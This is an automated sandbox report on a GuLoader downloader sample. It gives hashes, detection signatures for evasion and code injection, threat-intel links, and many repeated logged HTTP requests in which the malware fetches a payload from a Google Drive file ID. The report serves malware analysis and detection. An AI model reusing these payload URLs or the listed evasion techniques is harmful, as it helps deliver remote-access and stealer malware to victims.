Edit tour

Windows Analysis Report
fbXZ4ErQMU.exe

Overview

General Information

Sample name:	fbXZ4ErQMU.exe
Analysis ID:	1569258
MD5:	c58b26e27e2d9aa8080e289445e1c8ca
SHA1:	50dc9a8d9735a94a18cf3b35cb3c88217b3d05cd
SHA256:	9201c98d765025cad9fcbe9095c1f34960b641d38c6a4e999720a0c3c129353f
Infos:

Detection

GuLoader

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Switches to a custom stack to bypass stack traces

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

fbXZ4ErQMU.exe (PID: 5468 cmdline: "C:\Users\user\Desktop\fbXZ4ErQMU.exe" MD5: C58B26E27E2D9AA8080E289445E1C8CA)

fbXZ4ErQMU.exe (PID: 5216 cmdline: "C:\Users\user\Desktop\fbXZ4ErQMU.exe" MD5: C58B26E27E2D9AA8080E289445E1C8CA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.56492873526.000000000183F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.53292835357.0000000002C0F000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T17:03:01.276027+0100	2803270	2	Potentially Bad Traffic	192.168.11.20	49751	142.250.217.238	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fbXZ4ErQMU.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: fbXZ4ErQMU.exe

ReversingLabs: Detection: 60%

Source: fbXZ4ErQMU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49811 version: TLS 1.2

Source: fbXZ4ErQMU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,	0_2_0040646B
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_004027A1 FindFirstFileA,	0_2_004027A1
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004058BF

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49751 -> 142.250.217.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
